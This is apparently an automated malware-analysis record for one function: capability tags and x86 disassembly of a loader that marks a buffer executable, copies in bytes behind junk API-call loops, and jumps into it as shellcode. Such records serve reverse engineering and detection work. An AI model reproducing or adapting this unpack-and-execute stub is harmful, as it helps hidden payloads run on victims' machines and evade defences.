Function at 0x4016ed
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Move file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2020
call fcn.0040e480
mov ecx, dword [0x2d20c94]
push esi
push edi
cmp ecx, 0x93
je 0x4018b7
mov eax, dword [0x41cee8]
add ecx, 0x1134b
push ecx
xor esi, esi
mov dword [0x2d20d98], eax
push esi
mov dword [0x2d20c94], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
mov dword [0x2d20bec], eax
push ecx
push 0x40
push dword [0x2d20c94]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x29156e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
dec edi
jne 0x40174b
mov ecx, dword [0x2d20c94]
mov edi, esi
test ecx, ecx
je 0x4017d4
mov eax, dword [0x2d20d98]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x2d20bec]
mov byte [eax + edi], cl
mov ecx, dword [0x2d20c94]
cmp ecx, 0x490
jne 0x4017cf
push esi
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
lea eax, [ebp - 0x1020]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x820]
push eax
push 0x417964
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov ecx, dword [0x2d20c94]
inc edi
cmp edi, ecx
jb 0x401768
mov edi, esi
lea eax, [ecx + edi]
cmp eax, 0x8d
jne 0x401845
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x420]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
push esi
lea eax, [ebp - 0xc20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
lea eax, [ebp - 0x1820]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea eax, [ebp - 0x2020]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, dword [0x2d20c94]
inc edi
cmp edi, 0x38681
jl 0x4017d6
push ecx
call fcn.0040167e
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x401866
call fcn.004016d1
inc edi
cmp edi, 0x674db
jl 0x401856
mov eax, esi
cmp dword [0x2d20c94], 0x86
je 0x40189a
inc eax
cmp eax, 0x7b
jl 0x401871
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2d20bec]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push esi
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_ExitThread]
push str.mehevovafepa
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
xor eax, eax
xor esi, esi
push esi
bts dword [eax], 0
lea eax, [ebp - 0x420]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
lea eax, [ebp - 0x1020]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
call fcn.00403c51
pop ecx
push esi
call fcn.00402a94
lea ecx, [ebp - 0x20]
mov dword [esp], str.bad_exception
call fcn.00401123
lea ecx, [ebp - 0x20]
call fcn.0040113f
push esi
call fcn.00403893
pop ecx
push esi
call fcn.00403cc8
pop ecx
push esi
call fcn.00403893
pop ecx
call fcn.004039e0
int3